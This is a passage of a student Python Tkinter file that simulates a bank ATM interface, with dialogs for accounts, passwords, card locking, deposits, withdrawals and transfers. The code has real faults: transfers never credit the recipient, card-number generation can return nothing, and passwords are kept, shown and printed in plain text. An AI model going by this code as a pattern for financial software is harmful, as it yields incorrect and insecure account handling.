"content_id": "c9d133d2ef376f359183f65451611ec6fe64e1b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 36492, "license_type": "permissive", "max_line_length": 168, "num_lines": 849, "path": "/py-basis/各组银行系统带界面/第六组/optionsView.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nfrom tkinter import Frame, Label, W, E, Button, LEFT, RIGHT, BOTH, YES, NO, TOP, Variable,messagebox\r\nfrom singleton import singletonDeco\r\nfrom atm import ATM\r\nfrom bank import Bank\r\nfrom user import User\r\nfrom card import Card\r\nfrom tkinter import *\r\nimport atmInitView\r\n\r\nimport math, sys, time, random, threading\r\n\r\natm = ATM()\r\nbank = Bank()\r\n'''松耦合'''\r\n# 返回*********************************************************************************\r\nclass BackDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('是否返回')\r\n self.isback = 0\r\n # 弹窗界面\r\n\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"300x150+800+400\")\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=20)\r\n Label(row1, text=\"是否返回初始界面?\", font=(\"宋体\", 15), width=30).pack(side=TOP)\r\n\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n def ok(self):\r\n self.destroy()\r\n self.isback = 1\r\n def cancel(self):\r\n self.destroy()\r\n\r\n#倒计时********************************************************************************\r\nclass WaitCloseDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('正在退卡')\r\n\r\n def setup_UI(self):\r\n self.resizable(False, False)\r\n self.geometry(\"300x150+800+400\")\r\n self.tip = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(anchor=tk.CENTER ,pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 15)).pack(anchor=tk.CENTER, pady=50)\r\n\r\n def autoClose():\r\n for i in range(2):\r\n self.tip.set(\"正在退卡,还有%ds...\"%(1-i))\r\n time.sleep(1)\r\n try:\r\n self.destroy()\r\n except:\r\n pass\r\n t = threading.Thread(target=autoClose)\r\n t.start()\r\n\r\n# 开户*********************************************************************************\r\nclass creatUserDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('开户窗口')\r\n # 弹窗界面\r\n self.setup_UI()\r\n def setup_UI(self):\r\n self.geometry(\"350x250+780+400\")\r\n self.tip = tk.StringVar()\r\n self.name = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP, pady=5)\r\n tk.Label(row1, text='请输入您的姓名:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.name, width=20).pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入身份证号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.IdCard = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.IdCard, width=20).pack(side=tk.LEFT)\r\n\r\n # 第三行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=5)\r\n tk.Label(row3, text='请输入电话号码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.phone = tk.StringVar()\r\n tk.Entry(row3, textvariable=self.phone, width=20).pack(side=tk.LEFT)\r\n\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=5)\r\n tk.Label(row4, text='请设置该卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.passwd = tk.StringVar()\r\n tk.Entry(row4, textvariable=self.passwd, width=20).pack(side=tk.LEFT)\r\n\r\n row5 = tk.Frame(self)\r\n row5.pack(side=TOP, pady=5)\r\n tk.Label(row5, text='请输入预存款数:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.money = tk.StringVar()\r\n tk.Entry(row5, textvariable=self.money, width=20).pack(side=tk.LEFT)\r\n\r\n # 第六行\r\n row6 = tk.Frame(self)\r\n row6.pack(side=TOP, pady=10)\r\n tk.Button(row6, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row6, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n # 随机生成卡号\r\n def randomCardId(self):\r\n cid = \"\"\r\n for i in range(4):\r\n cid += str(random.choice(range(10)))\r\n # print(cid, self.cardList)\r\n if cid in bank.usersDict:\r\n self.randomCardId()\r\n else:\r\n return cid\r\n # 检查身份证号\r\n def veridCard(self,idcard, name):\r\n for value in bank.usersDict.values():\r\n # print(value)\r\n if str(idcard) == str(value[\"idCard\"]) and str(name)!= str(value[\"name\"]) :\r\n return False\r\n return True\r\n\r\n def ok(self):\r\n # print(self.name.get())\r\n if self.name.get().strip() != \"\":\r\n if self.IdCard.get().strip() != \"\" and self.veridCard(self.IdCard.get(), self.name.get()):\r\n if self.phone.get().strip() != \"\":\r\n if self.passwd.get().strip() != \"\":\r\n if self.money.get().strip() != \"\":\r\n try:\r\n int(self.IdCard.get())\r\n int(self.phone.get())\r\n money = float(self.money.get())\r\n except:\r\n pass\r\n self.cardId = self.randomCardId()\r\n card = Card(self.cardId, self.passwd.get(), money)\r\n user = User(self.name.get(), self.IdCard.get(), self.phone.get())\r\n bank.usersDict[self.cardId] = {\"name\": user.name, \"phone\": user.phone,\r\n \"passwd\": card.passwd, \"money\": card.money,\r\n \"money\": card.money, \"isLock\": card.isLock,\r\n \"idCard\":user.idCard}\r\n print(bank.usersDict)\r\n messagebox.askokcancel(\"开户成功\",\"请牢记您的卡号:%s\"%self.cardId)\r\n self.destroy()\r\n else:\r\n self.tip.set(\"预存款不能为空!\")\r\n else:\r\n self.tip.set(\"密码不能为空!\")\r\n else:\r\n self.tip.set(\"电话号码不能为空!\")\r\n else:\r\n self.tip.set(\"身份证号不能为空或者重复!\")\r\n else:\r\n self.tip.set(\"姓名不能为空!\")\r\n\r\n self.name.set(\"\")\r\n self.IdCard.set(\"\")\r\n self.phone.set(\"\")\r\n self.passwd.set(\"\")\r\n self.money.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 改密*********************************************************************************\r\nclass changePasswdDialog(tk.Toplevel):\r\n def __init__(self,cardId):\r\n super().__init__()\r\n self.title('改密窗口')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n\r\n def setup_UI(self):\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n self.old_passwd = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP,pady=5)\r\n tk.Label(row1, text='请输入原密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.old_passwd, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入新密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd1 = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.new_passwd1, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第三行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=5)\r\n tk.Label(row3, text='再次确认新密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd2 = tk.StringVar()\r\n tk.Entry(row3, textvariable=self.new_passwd2, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第四行\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=10)\r\n tk.Button(row4, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row4, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n # print(bank.usersDict[self.cardId][\"passwd\"],self.old_passwd.get())\r\n if self.old_passwd.get() != \"\":\r\n if bank.usersDict[self.cardId][\"passwd\"] != self.old_passwd.get():\r\n self.tip.set(\"原密码输入错误!\")\r\n else:\r\n if self.new_passwd1.get() != \"\":\r\n if self.new_passwd1.get() != self.new_passwd2.get():\r\n self.tip.set(\"新密码两次输入不一致!\")\r\n else:\r\n bank.usersDict[self.cardId][\"passwd\"] = self.new_passwd1.get()\r\n messge = messagebox.askokcancel(\"消息框\", \"密码修改成功!请牢记新密码:%s\" % bank.usersDict[self.cardId][\"passwd\"])\r\n try:\r\n self.wait_window(messge)\r\n except:\r\n pass\r\n self.destroy()\r\n else:\r\n self.tip.set(\"新密码不能为空!\")\r\n\r\n else:\r\n self.tip.set(\"原密码不能为空!\")\r\n\r\n self.old_passwd.set(\"\")\r\n self.new_passwd1.set(\"\")\r\n self.new_passwd2.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 锁卡*********************************************************************************\r\nclass lockedCardDialog(tk.Toplevel):\r\n def __init__(self, cardId):\r\n super().__init__()\r\n self.title('锁卡窗口')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n self.setup_UI()\r\n def setup_UI(self):\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n self.old_passwd = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP, pady=5)\r\n tk.Label(row1, text='请输入卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.old_passwd, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入身份证号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd1 = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.new_passwd1, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第四行\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=10)\r\n tk.Button(row4, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row4, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n # print(\"锁卡---\",bank.usersDict[self.cardId][\"passwd\"], self.old_passwd.get())\r\n if self.old_passwd.get() != \"\":\r\n if bank.usersDict[self.cardId][\"passwd\"] != self.old_passwd.get():\r\n self.tip.set(\"原密码输入错误!\")\r\n else:\r\n if bank.usersDict[self.cardId][\"idCard\"] != self.new_passwd1.get():\r\n self.tip.set(\"身份证号错误!\")\r\n else:\r\n bank.usersDict[self.cardId][\"isLock\"] = True\r\n messagebox.askokcancel(\"消息提示\",\"此卡已被锁定!\")\r\n self.destroy()\r\n\r\n self.old_passwd.set(\"\")\r\n self.new_passwd1.set(\"\")\r\n\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 解锁*********************************************************************************\r\nclass unlockedCardDialog(tk.Toplevel):\r\n def __init__(self, cardId):\r\n super().__init__()\r\n self.title('解锁窗口')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n def setup_UI(self):\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n self.old_passwd = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP, pady=5)\r\n tk.Label(row1, text='请输入卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.old_passwd, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入身份证号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd1 = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.new_passwd1, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第四行\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=10)\r\n tk.Button(row4, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row4, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n # print(\"锁卡---\",bank.usersDict[self.cardId][\"passwd\"], self.old_passwd.get())\r\n if self.old_passwd.get() != \"\":\r\n if bank.usersDict[self.cardId][\"passwd\"] != self.old_passwd.get():\r\n self.tip.set(\"原密码输入错误!\")\r\n else:\r\n if bank.usersDict[self.cardId][\"idCard\"] != self.new_passwd1.get():\r\n self.tip.set(\"身份证号错误!\")\r\n else:\r\n bank.usersDict[self.cardId][\"isLock\"] = False\r\n messagebox.askokcancel(\"消息提示\",\"此卡已被解锁!\")\r\n self.destroy()\r\n\r\n self.old_passwd.set(\"\")\r\n self.new_passwd1.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 补卡*********************************************************************************\r\nclass modCardIdDialog(tk.Toplevel):\r\n def __init__(self, cardId):\r\n super().__init__()\r\n self.title('解锁窗口')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n def setup_UI(self):\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n self.old_passwd = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP, pady=5)\r\n tk.Label(row1, text='请输入卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.old_passwd, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入身份证号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd1 = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.new_passwd1, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第四行\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=10)\r\n tk.Button(row4, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row4, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n # 随机生成卡号\r\n def randomCardId(self):\r\n cid = \"\"\r\n for i in range(4):\r\n cid += str(random.choice(range(10)))\r\n # print(cid, self.cardList)\r\n if cid in bank.usersDict:\r\n self.randomCardId()\r\n else:\r\n return cid\r\n\r\n def ok(self):\r\n # print(\"锁卡---\",bank.usersDict[self.cardId][\"passwd\"], self.old_passwd.get())\r\n if self.old_passwd.get() != \"\":\r\n if bank.usersDict[self.cardId][\"passwd\"] != self.old_passwd.get():\r\n self.tip.set(\"原密码输入错误!\")\r\n else:\r\n if bank.usersDict[self.cardId][\"idCard\"] != self.new_passwd1.get():\r\n self.tip.set(\"身份证号错误!\")\r\n else:\r\n self.new_cardId = self.randomCardId()\r\n bank.usersDict[self.new_cardId] = bank.usersDict.pop(self.cardId)\r\n messagebox.askokcancel(\"消息提示\",\"补卡成功!请牢记新卡号:%s\"%self.new_cardId)\r\n self.destroy()\r\n\r\n self.old_passwd.set(\"\")\r\n self.new_passwd1.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 插卡*********************************************************************************\r\nclass putinCardDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('插卡')\r\n # 弹窗界面\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=30)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP)\r\n tk.Label(row1, text='请输入卡号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT, pady=5)\r\n self.cardId = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.cardId, width=20).pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n # print(bank.usersDict[\"cardsDict\"])\r\n if self.cardId.get() in bank.usersDict:\r\n messagebox.askokcancel(\"消息提示\",\"欢迎进入凯哥私人银行!\")\r\n self.destroy()\r\n else:\r\n self.tip.set(\"该卡号不存在!请输入正确的卡号\")\r\n # messagebox.askokcancel(\"消息提示\",\"该卡号不存在!请输入正确的卡号\")\r\n self.cardId.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 存款*********************************************************************************\r\nclass addAccountDialog(tk.Toplevel):\r\n def __init__(self,cardId):\r\n super().__init__()\r\n self.title('插卡')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=30)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP)\r\n tk.Label(row1, text='请输入存款额:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT, pady=5)\r\n self.money = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.money, width=20).pack(side=tk.LEFT) # 第二行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n try:\r\n money = float(self.money.get())\r\n except:\r\n self.tip.set(\"存款数额错误,请重新输入\")\r\n self.money.set(\"\")\r\n return\r\n if money >= 0:\r\n atm.money += money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n bank.usersDict[self.cardId][\"money\"] += money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n\r\n self.destroy()\r\n self.tip.set(\"存款数额错误,请重新输入\")\r\n self.money.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 取款*********************************************************************************\r\nclass getAccountDialog(tk.Toplevel):\r\n def __init__(self,cardId):\r\n super().__init__()\r\n self.title('插卡')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=10)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 11), width=35, pady=5).pack(side=TOP)\r\n tk.Label(row1, text='请输入取款额:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT, pady=5)\r\n self.money = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.money, width=25).pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=10)\r\n tk.Label(row2, text='请输入卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT, pady=5)\r\n self.passwd = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.passwd, width=25, show=\"*\").pack(side=tk.LEFT)\r\n\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n try:\r\n money = float(self.money.get())\r\n passwd = self.passwd.get()\r\n except:\r\n self.tip.set(\"存款数额错误,请重新输入\")\r\n self.passwd.set(\"\")\r\n self.money.set(\"\")\r\n return\r\n if passwd != bank.usersDict[self.cardId][\"passwd\"]:\r\n self.tip.set(\"密码错误,请重新输入\")\r\n else:\r\n if money >= 0 :\r\n if money <= bank.usersDict[self.cardId][\"money\"]:\r\n if money <= atm.money:\r\n atm.money -= money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n bank.usersDict[self.cardId][\"money\"] -= money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n self.destroy()\r\n else:\r\n self.tip.set(\"ATM机内余额不足!当前仅剩¥%.2f\"%atm.money)\r\n else:\r\n self.tip.set(\"卡内余额不足!\")\r\n else:\r\n self.tip.set(\"取款额输入错误!\")\r\n\r\n self.money.set(\"\")\r\n self.passwd.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 转账*********************************************************************************\r\nclass transAcountDialog(tk.Toplevel):\r\n def __init__(self,cardId):\r\n super().__init__()\r\n self.title('插卡')\r\n self.cardId = cardId\r\n # 弹窗界面\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"350x200+800+400\")\r\n self.tip = tk.StringVar()\r\n\r\n row = tk.Frame(self)\r\n row.pack(side=TOP, pady=5)\r\n Label(row, textvariable=self.tip, font=(\"宋体\", 11), width=35, pady=2).pack(side=TOP)\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n tk.Label(row1, text='请输入转账额:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.money = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.money, width=25).pack(side=tk.LEFT)\r\n\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=5)\r\n tk.Label(row4, text='请输对方卡号:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.out_cardId = tk.StringVar()\r\n tk.Entry(row4, textvariable=self.out_cardId, width=25).pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='请输入卡密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.passwd = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.passwd, width=25, show=\"*\").pack(side=tk.LEFT)\r\n\r\n\r\n\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=10)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n try:\r\n money = float(self.money.get())\r\n passwd = self.passwd.get()\r\n out_cardId = self.out_cardId.get()\r\n # print(\"**********\",bank.usersDict[out_cardId][\"name\"][1:])\r\n except:\r\n self.tip.set(\"存款数额错误,请重新输入\")\r\n self.passwd.set(\"\")\r\n self.money.set(\"\")\r\n self.out_cardId.set(\"\")\r\n return\r\n if out_cardId in bank.usersDict and out_cardId != self.cardId:\r\n if passwd != bank.usersDict[self.cardId][\"passwd\"]:\r\n self.tip.set(\"密码错误,请重新输入\")\r\n else:\r\n if money >= 0 :\r\n if money <= bank.usersDict[self.cardId][\"money\"]:\r\n if money <= atm.money:\r\n if messagebox.askokcancel(\"转账提示\",\"请再次确认是否向\\n 卡号:%s\\n 姓名:*%s\\n转账¥%.2f\"%(out_cardId,\r\n bank.usersDict[out_cardId][\"name\"][1:], bank.usersDict[out_cardId][\"money\"])):\r\n atm.money -= money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n bank.usersDict[self.cardId][\"money\"] -= money\r\n # print(bank.usersDict[self.cardId][\"money\"])\r\n self.destroy()\r\n else:\r\n self.tip.set(\"已取消转账操作\")\r\n else:\r\n self.tip.set(\"ATM机内余额不足!当前仅剩¥%.2f\"%atm.money)\r\n else:\r\n self.tip.set(\"卡内余额不足!\")\r\n else:\r\n self.tip.set(\"取款额输入错误!\")\r\n else:\r\n self.tip.set(\"该卡号不存在,请输入正确卡号!\")\r\n self.out_cardId.set(\"\")\r\n self.money.set(\"\")\r\n self.passwd.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n\r\n# 主窗******************************************************************************************\r\n\r\nclass OptionsView(tk.Tk):\r\n def __init__(self):\r\n super().__init__()\r\n self.insCardId = \" \"\r\n\r\n def setupOptionsView(self):\r\n # self.pack() # 若继承 tk.Frame ,此句必须有!\r\n self.title('管理员操作界面')\r\n self.geometry(\"900x600+500+230\")\r\n # 程序参数/数据\r\n self.tipVar = Variable()\r\n # self.tipVar.set(\"当前ATM机内余额为:%.2f\" % atm.cardId)\r\n self.resizable(width=False, height=False)\r\n # 使用Frame增加一层容器\r\n fm1 = Frame(self)\r\n fm2 = Frame(self)\r\n fm3 = Frame(self)\r\n fm4 = Frame(self)\r\n\r\n button_image_gif7 = PhotoImage(file=\"开户按钮.gif\")\r\n Button(fm1, text='开户', font=(\"宋体\", 15), image=button_image_gif7, width=190, height=45,command=self.createUser).pack(side=TOP, anchor=W,expand=NO, pady =7)\r\n button_image_gif8 = PhotoImage(file=\"存款按钮.gif\")\r\n Button(fm1, text='存款', font=(\"宋体\", 15), image=button_image_gif8, width=190, height=45,command=self.addAcount).pack(side=TOP, anchor=W,expand=NO, pady =7)\r\n button_image_gif9 = PhotoImage(file=\"改密按钮.gif\")\r\n Button(fm1, text='改密', font=(\"宋体\", 15), image=button_image_gif9, width=190, height=45,command=self.modPasswd).pack(side=TOP, anchor=W,expand=NO, pady =7)\r\n button_image_gif10 = PhotoImage(file=\"锁定按钮.gif\")\r\n Button(fm1, text='锁卡', font=(\"宋体\", 15), image=button_image_gif10, width=190, height=45,command=self.lockedCard).pack(side=TOP, anchor=W,expand=NO, pady =7)\r\n button_image_gif11 = PhotoImage(file=\"退卡按钮.gif\")\r\n Button(fm1, text='退卡', font=(\"宋体\", 15),image=button_image_gif11, width=190, height=45,command=self.outPutCard).pack(side=TOP, anchor=W,expand=NO, pady =7)\r\n fm1.pack(side=LEFT, fill=BOTH, expand=YES, pady=60)\r\n\r\n Label(fm3, text=\"SUNCK IS A GOOD MAN\",\r\n font=(\"宋体\", 15), width=30, height=7, wraplength=350).pack(side=TOP,padx= 20)\r\n Label(fm3, textvariable=self.tipVar, font=(\"宋体\", 11), width=40, height=10).pack(side=TOP)\r\n button_image_gif12 = PhotoImage(file=\"退出按钮.gif\")\r\n Button(fm4, text='退出', font=(\"宋体\", 15), image=button_image_gif12, width=190, height=45,command=self.shutdown).pack(side=LEFT, anchor=tk.N,expand=NO, padx= 70)\r\n button_image_gif13 = PhotoImage(file=\"插卡按钮.gif\")\r\n Button(fm4, text='插卡', font=(\"宋体\", 15), image=button_image_gif13, width=115, height=27,command=self.putinCard).pack(side=RIGHT, anchor=tk.S,expand=NO,padx= 50)\r\n fm4.pack(side=tk.BOTTOM,fill= \"x\", expand=YES)\r\n fm3.pack(side=LEFT, fill=BOTH, expand=YES)\r\n\r\n button_image_gif14 = PhotoImage(file=\"转账按钮.gif\")\r\n Button(fm2, text='转账', font=(\"宋体\", 15), image=button_image_gif14, width=190, height=45,command=self.transAcount).pack(side=TOP, anchor=E,expand=NO, pady =7)\r\n button_image_gif15 = PhotoImage(file=\"取款按钮.gif\")\r\n Button(fm2, text='取款', font=(\"宋体\", 15), image=button_image_gif15, width=190, height=45,command=self.getAcount).pack(side=TOP, anchor=E,expand=NO, pady =7)\r\n button_image_gif16 = PhotoImage(file=\"补卡按钮.gif\")\r\n Button(fm2, text='补卡', font=(\"宋体\", 15), image=button_image_gif16, width=190, height=45,command=self.repairCard).pack(side=TOP, anchor=E,expand=NO, pady =7)\r\n button_image_gif17 = PhotoImage(file=\"解锁按钮.gif\")\r\n Button(fm2, text='解锁', font=(\"宋体\", 15), image=button_image_gif17, width=190, height=45,command=self.unlockedCard).pack(side=TOP, anchor=E,expand=NO, pady =7)\r\n button_image_gif18 = PhotoImage(file=\"返回按钮.gif\")\r\n Button(fm2, text='返回', font=(\"宋体\", 15), image=button_image_gif18, width=190, height=45,command=self.back).pack(side=TOP, anchor=E,expand=NO, pady =3)\r\n\r\n fm2.pack(side=RIGHT, fill=BOTH, expand=YES, pady=60)\r\n self.mainloop()\r\n\r\n # 开户\r\n def createUser(self):\r\n creatUserDialog()\r\n\r\n # 插卡\r\n def putinCard(self):\r\n if self.isInCard():\r\n messagebox.askokcancel(\"消息提示\", \"当前有卡,请退卡后进行操作!\")\r\n else:\r\n res = self.backputinCard()\r\n # print(res)\r\n if res !=\"\":\r\n self.insCardId = res\r\n self.tipVar.set(\"当前卡号:%s 卡内余额:%.2f\" % (self.insCardId, bank.usersDict[self.insCardId][\"money\"]))\r\n\r\n def backputinCard(self):\r\n picd = putinCardDialog()\r\n picd.setup_UI()\r\n self.wait_window(picd)\r\n return 